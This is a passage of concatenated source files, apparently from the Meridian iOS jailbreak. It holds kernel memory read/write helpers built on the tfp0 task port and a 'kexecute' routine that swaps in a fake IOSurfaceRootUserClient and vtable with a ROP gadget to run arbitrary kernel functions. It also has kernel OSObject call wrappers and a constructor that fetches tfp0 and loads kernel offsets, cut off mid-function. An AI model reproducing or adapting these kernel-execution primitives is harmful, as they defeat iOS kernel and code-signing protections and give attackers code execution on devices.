#ifdef __cplusplus 27 | extern "C" { 28 | #endif 29 | extern boolean_t voucher_mach_msg_set(mach_msg_header_t *msg) __attribute__((weak_import)); 30 | #ifdef __cplusplus 31 | } 32 | #endif 33 | #endif // __VOUCHER_FORWARD_TYPE_DECLS__ 34 | #endif // __has_include() 35 | #endif // __has_include 36 | #endif // !KERNEL 37 | 38 | /* END VOUCHER CODE */ 39 | 40 | 41 | /* BEGIN MIG_STRNCPY_ZEROFILL CODE */ 42 | 43 | #if defined(__has_include) 44 | #if __has_include() 45 | #ifndef USING_MIG_STRNCPY_ZEROFILL 46 | #define USING_MIG_STRNCPY_ZEROFILL 47 | #endif 48 | #ifndef __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ 49 | #define __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ 50 | #ifdef __cplusplus 51 | extern "C" { 52 | #endif 53 | extern int mig_strncpy_zerofill(char *dest, const char *src, int len) __attribute__((weak_import)); 54 | #ifdef __cplusplus 55 | } 56 | #endif 57 | #endif /* __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ */ 58 | #endif /* __has_include() */ 59 | #endif /* __has_include */ 60 | 61 | /* END MIG_STRNCPY_ZEROFILL CODE */ 62 | 63 | 64 | #ifdef AUTOTEST 65 | #ifndef FUNCTION_PTR_T 66 | #define FUNCTION_PTR_T 67 | typedef void (*function_ptr_t)(mach_port_t, char *, mach_msg_type_number_t); 68 | typedef struct { 69 | char *name; 70 | function_ptr_t function; 71 | } function_table_entry; 72 | typedef function_table_entry *function_table_t; 73 | #endif /* FUNCTION_PTR_T */ 74 | #endif /* AUTOTEST */ 75 | 76 | #ifndef jailbreak_daemon_MSG_COUNT 77 | #define jailbreak_daemon_MSG_COUNT 1 78 | #endif /* jailbreak_daemon_MSG_COUNT */ 79 | 80 | #include 81 | #include 82 | #include 83 | #include 84 | 85 | #ifdef __BeforeMigUserHeader 86 | __BeforeMigUserHeader 87 | #endif /* __BeforeMigUserHeader */ 88 | 89 | #include 90 | __BEGIN_DECLS 91 | 92 | 93 | /* Routine call */ 94 | #ifdef mig_external 95 | mig_external 96 | #else 97 | extern 98 | #endif /* mig_external */ 99 | kern_return_t jbd_call 100 | ( 101 | mach_port_t server_port, 102 | uint8_t command, 103 | uint32_t pid 104 | ); 105 | 106 | __END_DECLS 107 | 108 | /********************** Caution **************************/ 109 | /* The following data types should be used to calculate */ 110 | /* maximum message sizes only. The actual message may be */ 111 | /* smaller, and the position of the arguments within the */ 112 | /* message layout may vary from what is presented here. */ 113 | /* For example, if any of the arguments are variable- */ 114 | /* sized, and less than the maximum is sent, the data */ 115 | /* will be packed tight in the actual message to reduce */ 116 | /* the presence of holes. */ 117 | /********************** Caution **************************/ 118 | 119 | /* typedefs for all requests */ 120 | 121 | #ifndef __Request__jailbreak_daemon_subsystem__defined 122 | #define __Request__jailbreak_daemon_subsystem__defined 123 | 124 | #ifdef __MigPackStructs 125 | #pragma pack(4) 126 | #endif 127 | typedef struct { 128 | mach_msg_header_t Head; 129 | NDR_record_t NDR; 130 | uint8_t command; 131 | char commandPad[3]; 132 | uint32_t pid; 133 | } __Request__call_t __attribute__((unused)); 134 | #ifdef __MigPackStructs 135 | #pragma pack() 136 | #endif 137 | #endif /* !__Request__jailbreak_daemon_subsystem__defined */ 138 | 139 | /* union of all requests */ 140 | 141 | #ifndef __RequestUnion__jbd_jailbreak_daemon_subsystem__defined 142 | #define __RequestUnion__jbd_jailbreak_daemon_subsystem__defined 143 | union __RequestUnion__jbd_jailbreak_daemon_subsystem { 144 | __Request__call_t Request_jbd_call; 145 | }; 146 | #endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */ 147 | /* typedefs for all replies */ 148 | 149 | #ifndef __Reply__jailbreak_daemon_subsystem__defined 150 | #define __Reply__jailbreak_daemon_subsystem__defined 151 | 152 | #ifdef __MigPackStructs 153 | #pragma pack(4) 154 | #endif 155 | typedef struct { 156 | mach_msg_header_t Head; 157 | NDR_record_t NDR; 158 | kern_return_t RetCode; 159 | } __Reply__call_t __attribute__((unused)); 160 | #ifdef __MigPackStructs 161 | #pragma pack() 162 | #endif 163 | #endif /* !__Reply__jailbreak_daemon_subsystem__defined */ 164 | 165 | /* union of all replies */ 166 | 167 | #ifndef __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined 168 | #define __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined 169 | union __ReplyUnion__jbd_jailbreak_daemon_subsystem { 170 | __Reply__call_t Reply_jbd_call; 171 | }; 172 | #endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */ 173 | 174 | #ifndef subsystem_to_name_map_jailbreak_daemon 175 | #define subsystem_to_name_map_jailbreak_daemon \ 176 | { "call", 500 } 177 | #endif 178 | 179 | #ifdef __AfterMigUserHeader 180 | __AfterMigUserHeader 181 | #endif /* __AfterMigUserHeader */ 182 | 183 | #endif /* _jailbreak_daemon_user_ */ 184 | -------------------------------------------------------------------------------- /Meridian/unrestrict/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = Unrestrict.dylib 2 | OUTDIR ?= bin 3 | SRC = $(wildcard *.c helpers/*.c) 4 | 5 | CC = xcrun -sdk iphoneos gcc -arch arm64 6 | LDID = ldid 7 | CFLAGS = -I. -Ihelpers -dynamiclib -framework IOKit -framework CoreFoundation 8 | 9 | .PHONY: all install clean 10 | 11 | all: $(OUTDIR)/$(TARGET) 12 | 13 | $(OUTDIR): 14 | mkdir -p $@ 15 | 16 | $(OUTDIR)/$(TARGET): $(SRC) | $(OUTDIR) 17 | $(CC) $(CFLAGS) -o $@ $^ 18 | $(LDID) -S $@ 19 | 20 | install: all 21 | 22 | clean: 23 | rm -rf $(OUTDIR) $(OBJ) 24 | -------------------------------------------------------------------------------- /Meridian/unrestrict/common.h: -------------------------------------------------------------------------------- 1 | #ifndef _UNRESTRICT_COMMON_H 2 | #define _UNRESTRICT_COMMON_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | extern bool initialized; 11 | extern uint64_t offset_options; 12 | #define OPT(x) (offset_options?((rk64(offset_options) & OPT_ ##x)?true:false):false) 13 | #define SETOPT(x, val) (offset_options?wk64(offset_options, val?(rk64(offset_options) | OPT_ ##x):(rk64(offset_options) & ~OPT_ ##x)):0) 14 | #define OPT_GET_TASK_ALLOW (1<<0) 15 | #define OPT_CS_DEBUGGED (1<<1) 16 | 17 | extern FILE *log_file; 18 | struct timeval dl_tv; 19 | #define LOG(fmt, args...) do { \ 20 | if (log_file == NULL) { \ 21 | char *log_path; \ 22 | if (asprintf(&log_path, \ 23 | "/var/log/unrestrict.log") == -1) { \ 24 | break; \ 25 | } \ 26 | log_file = fopen(log_path, "a"); \ 27 | free(log_path); \ 28 | if (log_file == NULL) break; \ 29 | } \ 30 | gettimeofday(&dl_tv, NULL); \ 31 | fprintf(log_file, "[%ld.%06d] " fmt "\n", dl_tv.tv_sec, \ 32 | dl_tv.tv_usec, ##args); \ 33 | fflush(log_file); \ 34 | } while(0) 35 | #define CROAK(fmt, args...) LOG("%s:%d:%d:" fmt, __FILE__, __LINE__, errno, ##args) 36 | //#ifdef DEBUG 37 | #define DEBUGLOG(fmt, args...) LOG(fmt, ##args) 38 | //#else 39 | //#define DEBUGLOG(fmt, args...) do {} while (0) 40 | //#endif // ifdef DEBUG 41 | 42 | #define CACHED_FIND(type, name) \ 43 | type __##name(void); \ 44 | type name(void) { \ 45 | type cached = 0; \ 46 | if (cached == 0) { \ 47 | cached = __##name(); \ 48 | } \ 49 | return cached; \ 50 | } \ 51 | type __##name(void) 52 | 53 | #endif 54 | -------------------------------------------------------------------------------- /Meridian/unrestrict/helpers/kexecute.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "kern_utils.h" 4 | #include "common.h" 5 | #include "kexecute.h" 6 | #include "kmem.h" 7 | #include "offsetof.h" 8 | 9 | mach_port_t prepare_user_client() { 10 | kern_return_t err; 11 | mach_port_t user_client; 12 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); 13 | 14 | if (service == IO_OBJECT_NULL) { 15 | DEBUGLOG(" [-] unable to find service"); 16 | exit(EXIT_FAILURE); 17 | } 18 | 19 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client); 20 | if (err != KERN_SUCCESS) { 21 | DEBUGLOG(" [-] unable to get user client connection"); 22 | exit(EXIT_FAILURE); 23 | } 24 | 25 | DEBUGLOG("got user client: 0x%x", user_client); 26 | return user_client; 27 | } 28 | 29 | // TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread 30 | pthread_mutex_t kexecute_lock; 31 | static mach_port_t user_client; 32 | static uint64_t IOSurfaceRootUserClient_port; 33 | static uint64_t IOSurfaceRootUserClient_addr; 34 | static uint64_t fake_vtable; 35 | static uint64_t fake_client; 36 | const int fake_kalloc_size = 0x1000; 37 | 38 | bool init_kexecute() { 39 | user_client = prepare_user_client(); 40 | if (!user_client) return false; 41 | 42 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable 43 | IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address 44 | if (!IOSurfaceRootUserClient_port) return false; 45 | 46 | IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field 47 | if (!IOSurfaceRootUserClient_addr) return false; 48 | 49 | uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object 50 | if (!IOSurfaceRootUserClient_vtab) return false; 51 | 52 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one 53 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel 54 | 55 | // Create the vtable in the kernel memory, then copy the existing vtable into there 56 | fake_vtable = kalloc(fake_kalloc_size); 57 | if (!fake_vtable) return false; 58 | 59 | for (int i = 0; i < 0x200; i++) { 60 | wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8)); 61 | } 62 | 63 | // Create the fake user client 64 | fake_client = kalloc(fake_kalloc_size); 65 | if (!fake_client) return false; 66 | 67 | for (int i = 0; i < 0x200; i++) { 68 | wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8)); 69 | } 70 | 71 | // Write our fake vtable into the fake user client 72 | wk64(fake_client, fake_vtable); 73 | 74 | // Replace the user client with ours 75 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client); 76 | 77 | // Now the userclient port we have will look into our fake user client rather than the old one 78 | 79 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;) 80 | wk64(fake_vtable+8*0xB7, offset_add_ret_gadget); 81 | 82 | pthread_mutex_init(&kexecute_lock, NULL); 83 | return true; 84 | } 85 | 86 | void term_kexecute() { 87 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr); 88 | kfree(fake_vtable, fake_kalloc_size); 89 | kfree(fake_client, fake_kalloc_size); 90 | } 91 | 92 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) { 93 | pthread_mutex_lock(&kexecute_lock); 94 | 95 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex 96 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap. 97 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the 98 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed 99 | // through like normal. 100 | 101 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it 102 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents 103 | // (i'm not actually sure if the switch back is necessary but meh) 104 | 105 | uint64_t offx20 = rk64(fake_client+0x40); 106 | uint64_t offx28 = rk64(fake_client+0x48); 107 | wk64(fake_client+0x40, x0); 108 | wk64(fake_client+0x48, addr); 109 | uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); 110 | wk64(fake_client+0x40, offx20); 111 | wk64(fake_client+0x48, offx28); 112 | 113 | pthread_mutex_unlock(&kexecute_lock); 114 | 115 | return returnval; 116 | } 117 | -------------------------------------------------------------------------------- /Meridian/unrestrict/helpers/kexecute.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | 5 | mach_port_t prepare_user_client(void); 6 | bool init_kexecute(void); 7 | void term_kexecute(void); 8 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6); 9 | -------------------------------------------------------------------------------- /Meridian/unrestrict/helpers/kmem.c: -------------------------------------------------------------------------------- 1 | #include "kern_utils.h" 2 | #include "kmem.h" 3 | #include "common.h" 4 | 5 | #define MAX_CHUNK_SIZE 0xFFF 6 | 7 | size_t kread(uint64_t where, void *p, size_t size) { 8 | int rv; 9 | size_t offset = 0; 10 | while (offset < size) { 11 | mach_vm_size_t sz, chunk = MAX_CHUNK_SIZE; 12 | if (chunk > size - offset) { 13 | chunk = size - offset; 14 | } 15 | rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); 16 | if (rv || sz == 0) { 17 | DEBUGLOG("[e] error reading kernel @%p", (void *)(offset + where)); 18 | break; 19 | } 20 | offset += sz; 21 | } 22 | return offset; 23 | } 24 | 25 | size_t kwrite(uint64_t where, const void *p, size_t size) { 26 | int rv; 27 | size_t offset = 0; 28 | while (offset < size) { 29 | size_t chunk = MAX_CHUNK_SIZE; 30 | if (chunk > size - offset) { 31 | chunk = size - offset; 32 | } 33 | rv = mach_vm_write(tfp0, where + offset, (mach_vm_offset_t)p + offset, chunk); 34 | if (rv) { 35 | DEBUGLOG("[e] error writing kernel @%p", (void *)(offset + where)); 36 | break; 37 | } 38 | offset += chunk; 39 | } 40 | return offset; 41 | } 42 | 43 | uint64_t kalloc(vm_size_t size) { 44 | mach_vm_address_t address = 0; 45 | mach_vm_allocate(tfp0, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); 46 | return address; 47 | } 48 | 49 | void kfree(mach_vm_address_t address, vm_size_t size) { 50 | mach_vm_deallocate(tfp0, address, size); 51 | } 52 | 53 | uint16_t rk16(uint64_t kaddr) { 54 | uint16_t val = 0; 55 | kread(kaddr, &val, sizeof(val)); 56 | return val; 57 | } 58 | 59 | uint32_t rk32(uint64_t kaddr) { 60 | uint32_t val = 0; 61 | kread(kaddr, &val, sizeof(val)); 62 | return val; 63 | } 64 | 65 | uint64_t rk64(uint64_t kaddr) { 66 | uint64_t val = 0; 67 | kread(kaddr, &val, sizeof(val)); 68 | return val; 69 | } 70 | 71 | void wk16(uint64_t kaddr, uint16_t val) { 72 | kwrite(kaddr, &val, sizeof(val)); 73 | } 74 | 75 | void wk32(uint64_t kaddr, uint32_t val) { 76 | kwrite(kaddr, &val, sizeof(val)); 77 | } 78 | 79 | void wk64(uint64_t kaddr, uint64_t val) { 80 | kwrite(kaddr, &val, sizeof(val)); 81 | } 82 | 83 | // thx Siguza 84 | typedef struct { 85 | uint64_t prev; 86 | uint64_t next; 87 | uint64_t start; 88 | uint64_t end; 89 | } kmap_hdr_t; 90 | 91 | uint64_t zm_fix_addr(uint64_t addr) { 92 | static kmap_hdr_t zm_hdr = {0, 0, 0, 0}; 93 | 94 | if (zm_hdr.start == 0) { 95 | uint64_t zone_map = rk64(offset_zonemap); 96 | DEBUGLOG("Calculating zm_hdr (offset_zonemap = 0x%llx zone_map = 0x%llx)", offset_zonemap, zone_map); 97 | 98 | // hdr is at offset 0x10, mutexes at start 99 | size_t r = kread(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr)); 100 | 101 | if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) { 102 | DEBUGLOG("kread of zone_map failed!"); 103 | return 0; 104 | } 105 | 106 | if (zm_hdr.end - zm_hdr.start > 0x100000000) { 107 | DEBUGLOG("zone_map is too big, sorry."); 108 | return 0; 109 | } 110 | } 111 | 112 | uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | (addr & 0xffffffff); 113 | 114 | return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp; 115 | } 116 | 117 | int kstrcmp(uint64_t kstr, const char *str) { 118 | size_t len = strlen(str) + 1; 119 | char *local = malloc(len + 1); 120 | if (!local) CROAK("Unable to malloc"); 121 | local[len] = '\0'; 122 | 123 | int ret = 1; 124 | 125 | if (kread(kstr, local, len) == len) { 126 | ret = strcmp(local, str); 127 | } 128 | 129 | free(local); 130 | 131 | return ret; 132 | } 133 | -------------------------------------------------------------------------------- /Meridian/unrestrict/helpers/kmem.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | uint64_t kalloc(vm_size_t size); 4 | void kfree(mach_vm_address_t address, vm_size_t size); 5 | 6 | size_t kread(uint64_t where, void *p, size_t size); 7 | uint16_t rk16(uint64_t kaddr); 8 | uint32_t rk32(uint64_t kaddr); 9 | uint64_t rk64(uint64_t kaddr); 10 | 11 | size_t kwrite(uint64_t where, const void *p, size_t size); 12 | void wk16(uint64_t kaddr, uint16_t val); 13 | void wk32(uint64_t kaddr, uint32_t val); 14 | void wk64(uint64_t kaddr, uint64_t val); 15 | 16 | uint64_t zm_fix_addr(uint64_t addr); 17 | 18 | int kstrcmp(uint64_t kstr, const char *str); 19 | -------------------------------------------------------------------------------- /Meridian/unrestrict/helpers/offsetof.c: -------------------------------------------------------------------------------- 1 | #define offsetof_p_pid (unsigned)((kCFCoreFoundationVersionNumber >= 1535.12) ? (0x60) : (0x10)) // proc_t::p_pid 2 | #define offsetof_task (unsigned)((kCFCoreFoundationVersionNumber >= 1535.12) ? (0x10) : (0x18)) // proc_t::task 3 | #define offsetof_p_svuid (unsigned)((kCFCoreFoundationVersionNumber >= 1535.12) ? (0x32) : (0x40)) // proc_t::svuid 4 | #define offsetof_p_svgid (unsigned)((kCFCoreFoundationVersionNumber >= 1535.12) ? (0x36) : (0x44)) // proc_t::svgid 5 | #define offsetof_p_ucred (unsigned)((kCFCoreFoundationVersionNumber >= 1535.12) ? (0xf8) : (0x100)) // proc_t::p_ucred 6 | #define offsetof_p_csflags (unsigned)((kCFCoreFoundationVersionNumber >= 1535.12) ? (0x290) : (0x2a8)) // proc_t::p_csflags 7 | #define offsetof_p_p_list (unsigned)(0x8) // proc_t::p_list 8 | #define offsetof_itk_space (unsigned)((kCFCoreFoundationVersionNumber >= 1443.00) ? ((kCFCoreFoundationVersionNumber >= 1535.12) ? (0x300) : (0x308)) : (0x300)) // task_t::itk_space 9 | #define offsetof_bsd_info (unsigned)((kCFCoreFoundationVersionNumber >= 1443.00) ? ((kCFCoreFoundationVersionNumber >= 1535.12) ? (0x358) : (0x368)) : (0x360)) // task_t::bsd_info 10 | #define offsetof_ip_kobject (unsigned)(0x68) // ipc_port_t::ip_kobject 11 | #define offsetof_ipc_space_is_table (unsigned)(0x20) // ipc_space::is_table 12 | 13 | #define offsetof_ucred_cr_uid (unsigned)(0x18) // ucred::cr_uid 14 | #define offsetof_ucred_cr_svuid (unsigned)(0x20) // ucred::cr_svuid 15 | #define offsetof_ucred_cr_groups (unsigned)(0x28) // ucred::cr_groups 16 | #define offsetof_ucred_cr_svgid (unsigned)(0x6c) // ucred::cr_svgid 17 | 18 | #define offsetof_t_flags (unsigned)((kCFCoreFoundationVersionNumber >= 1535.12) ? (0x390) : (0x3a0)) // task::t_flags 19 | -------------------------------------------------------------------------------- /Meridian/unrestrict/helpers/offsetof.h: -------------------------------------------------------------------------------- 1 | #include "offsetof.c" 2 | -------------------------------------------------------------------------------- /Meridian/unrestrict/helpers/osobject.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "kern_utils.h" 4 | #include "kexecute.h" 5 | #include "kmem.h" 6 | #include "osobject.h" 7 | #include "common.h" 8 | 9 | // offsets in vtable: 10 | static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F; 11 | static uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26; 12 | static uint32_t off_OSDictionary_Merge = sizeof(void*) * 0x23; 13 | 14 | static uint32_t off_OSArray_Merge = sizeof(void*) * 0x1E; 15 | static uint32_t off_OSArray_RemoveObject = sizeof(void*) * 0x20; 16 | static uint32_t off_OSArray_GetObject = sizeof(void*) * 0x22; 17 | 18 | static uint32_t off_OSObject_Release = sizeof(void*) * 0x05; 19 | static uint32_t off_OSObject_GetRetainCount = sizeof(void*) * 0x03; 20 | static uint32_t off_OSObject_Retain = sizeof(void*) * 0x04; 21 | 22 | static uint32_t off_OSString_GetLength = sizeof(void*) * 0x11; 23 | 24 | // 1 on success, 0 on error 25 | bool OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) { 26 | size_t len = strlen(key) + 1; 27 | 28 | uint64_t ks = kalloc(len); 29 | kwrite(ks, key, len); 30 | 31 | uint64_t vtab = rk64(dict); 32 | uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP); 33 | 34 | int rv = (int) kexecute(f, dict, ks, val, 0, 0, 0, 0); 35 | 36 | kfree(ks, len); 37 | 38 | return rv; 39 | } 40 | 41 | // XXX it can return 0 in lower 32 bits but still be valid 42 | // fix addr of returned value and check if rk64 gives ptr 43 | // to vtable addr saved before 44 | 45 | // address if exists, 0 if not 46 | uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) { 47 | size_t len = strlen(key) + 1; 48 | 49 | uint64_t ks = kalloc(len); 50 | kwrite(ks, key, len); 51 | 52 | uint64_t vtab = rk64(dict); 53 | uint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP); 54 | 55 | uint64_t rv = kexecute(f, dict, ks, 0, 0, 0, 0, 0); 56 | 57 | kfree(ks, len); 58 | 59 | return rv; 60 | } 61 | 62 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) { 63 | uint64_t ret = _OSDictionary_GetItem(dict, key); 64 | 65 | if (ret != 0 && (ret>>32) == 0) { 66 | // XXX can it be not in zalloc?.. 67 | ret = zm_fix_addr(ret); 68 | } 69 | 70 | return ret; 71 | } 72 | 73 | // 1 on success, 0 on error 74 | bool OSDictionary_Merge(uint64_t dict, uint64_t aDict) { 75 | uint64_t vtab = rk64(dict); 76 | uint64_t f = rk64(vtab + off_OSDictionary_Merge); 77 | 78 | return (int) kexecute(f, dict, aDict, 0, 0, 0, 0, 0); 79 | } 80 | 81 | // 1 on success, 0 on error 82 | bool OSArray_Merge(uint64_t array, uint64_t aArray) { 83 | uint64_t vtab = rk64(array); 84 | uint64_t f = rk64(vtab + off_OSArray_Merge); 85 | 86 | return (int) kexecute(f, array, aArray, 0, 0, 0, 0, 0); 87 | } 88 | 89 | uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){ 90 | uint64_t vtab = rk64(array); 91 | uint64_t f = rk64(vtab + off_OSArray_GetObject); 92 | 93 | return kexecute(f, array, idx, 0, 0, 0, 0, 0); 94 | } 95 | 96 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){ 97 | uint64_t ret = _OSArray_GetObject(array, idx); 98 | 99 | if (ret != 0){ 100 | // XXX can it be not in zalloc?.. 101 | ret = zm_fix_addr(ret); 102 | } 103 | return ret; 104 | } 105 | 106 | void OSArray_RemoveObject(uint64_t array, unsigned int idx){ 107 | uint64_t vtab = rk64(array); 108 | uint64_t f = rk64(vtab + off_OSArray_RemoveObject); 109 | 110 | (void)kexecute(f, array, idx, 0, 0, 0, 0, 0); 111 | } 112 | 113 | // XXX error handling just for fun? :) 114 | uint64_t _OSUnserializeXML(const char *buffer) { 115 | size_t len = strlen(buffer) + 1; 116 | 117 | uint64_t ks = kalloc(len); 118 | kwrite(ks, buffer, len); 119 | 120 | uint64_t errorptr = 0; 121 | 122 | uint64_t rv = kexecute(offset_osunserializexml, ks, errorptr, 0, 0, 0, 0, 0); 123 | kfree(ks, len); 124 | 125 | return rv; 126 | } 127 | 128 | uint64_t OSUnserializeXML(const char *buffer) { 129 | uint64_t ret = _OSUnserializeXML(buffer); 130 | 131 | if (ret != 0) { 132 | // XXX can it be not in zalloc?.. 133 | ret = zm_fix_addr(ret); 134 | } 135 | 136 | return ret; 137 | } 138 | 139 | void OSObject_Release(uint64_t osobject) { 140 | uint64_t vtab = rk64(osobject); 141 | uint64_t f = rk64(vtab + off_OSObject_Release); 142 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 143 | } 144 | 145 | void OSObject_Retain(uint64_t osobject) { 146 | uint64_t vtab = rk64(osobject); 147 | uint64_t f = rk64(vtab + off_OSObject_Retain); 148 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 149 | } 150 | 151 | uint32_t OSObject_GetRetainCount(uint64_t osobject) { 152 | uint64_t vtab = rk64(osobject); 153 | uint64_t f = rk64(vtab + off_OSObject_GetRetainCount); 154 | return (uint32_t) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 155 | } 156 | 157 | unsigned int OSString_GetLength(uint64_t osstring){ 158 | uint64_t vtab = rk64(osstring); 159 | uint64_t f = rk64(vtab + off_OSString_GetLength); 160 | return (unsigned int)kexecute(f, osstring, 0, 0, 0, 0, 0, 0); 161 | } 162 | 163 | char *OSString_CopyString(uint64_t osstring){ 164 | unsigned int length = OSString_GetLength(osstring); 165 | if (length == 0 || length > 0x100) DEBUGLOG("OSString_CopyString: length=%d", length); 166 | char *str = (char *)malloc(length + 1); 167 | if (!str) { 168 | DEBUGLOG("malloc failed OSString_CopyString: str=%p", str); 169 | } 170 | str[length] = 0; 171 | 172 | kread(OSString_CStringPtr(osstring), str, length); 173 | return str; 174 | } 175 | -------------------------------------------------------------------------------- /Meridian/unrestrict/helpers/osobject.h: -------------------------------------------------------------------------------- 1 | 2 | #define OSDictionary_ItemCount(dict) rk32(dict+20) 3 | #define OSDictionary_ItemBuffer(dict) rk64(dict+32) 4 | #define OSDictionary_ItemKey(buffer, idx) rk64(buffer+16*idx) 5 | #define OSDictionary_ItemValue(buffer, idx) rk64(buffer+16*idx+8) 6 | #define OSString_CStringPtr(str) rk64(str + 0x10) 7 | #define OSArray_ItemCount(arr) rk32(arr+0x14) 8 | #define OSArray_ItemBuffer(arr) rk64(arr+32) 9 | 10 | // see osobject.c for info 11 | 12 | bool OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val); 13 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key); 14 | bool OSDictionary_Merge(uint64_t dict, uint64_t aDict); 15 | void OSArray_RemoveObject(uint64_t array, unsigned int idx); 16 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx); 17 | bool OSArray_Merge(uint64_t array, uint64_t aArray); 18 | uint64_t OSUnserializeXML(const char *buffer); 19 | 20 | void OSObject_Release(uint64_t osobject); 21 | void OSObject_Retain(uint64_t osobject); 22 | uint32_t OSObject_GetRetainCount(uint64_t osobject); 23 | 24 | unsigned int OSString_GetLength(uint64_t osstring); 25 | char *OSString_CopyString(uint64_t osstring); 26 | -------------------------------------------------------------------------------- /Meridian/unrestrict/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | #include 8 | 9 | #include "common.h" 10 | #include "kern_utils.h" 11 | #include "kexecute.h" 12 | #include "kmem.h" 13 | 14 | bool initialized = false; 15 | uint64_t offset_options = 0; 16 | 17 | __attribute__((constructor)) 18 | void ctor() { 19 | bool found_offsets = false; 20 | kern_return_t err; 21 | 22 | DEBUGLOG("the fun and games shall begin! (applying lube...)"); 23 | 24 | // tfp0, kexecute 25 | err = host_get_special_port(mach_host_self(), HOST_LOCAL_NODE, 4, &tfp0); 26 | if (err != KERN_SUCCESS) { 27 | DEBUGLOG("host_get_special_port 4: %s", mach_error_string(err)); 28 | tfp0 = KERN_INVALID_TASK; 29 | return; 30 | } 31 | DEBUGLOG("tfp0: %x", tfp0); 32 | 33 | CFURLRef fileURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault, CFSTR("/meridian/offsets.plist"), kCFURLPOSIXPathStyle, false); 34 | if (fileURL == NULL) { 35 | DEBUGLOG("Unable to create URL"); 36 | return; 37 | } 38 | CFDataRef off_file_data; 39 | SInt32 errorCode; 40 | Boolean status = CFURLCreateDataAndPropertiesFromResource( 41 | kCFAllocatorDefault, fileURL, &off_file_data, 42 | NULL, NULL, &errorCode); 43 | 44 | CFRelease(fileURL); 45 | if (!status) { 46 | DEBUGLOG("Unable to read /meridian/offsets.plist"); 47 | return; 48 | } 49 | 50 | DEBUGLOG("off_file_data: %p", off_file_data); 51 | CFPropertyListRef offsets = CFPropertyListCreateWithData(kCFAllocatorDefault, (CFDataRef)off_file_data, kCFPropertyListImmutable, NULL, NULL); 52 | CFRelease(off_file_data); 53 | if (offsets == NULL) { 54 | DEBUGLOG("Unable to convert /meridian/offsets.plist to property list"); 55 | return; 56 | } 57 | 58 | if (CFGetTypeID(offsets) != CFDictionaryGetTypeID()) { 59 | DEBUGLOG("/meridian/offsets.plist did not convert to a dictionary"); 60 | CFRelease(offsets); 61 | return; 62 | } 63 | 64 | // TODO: CFStringGetCStringPtr is not to be relied upon like this... bad things will happen if this is not fixed 65 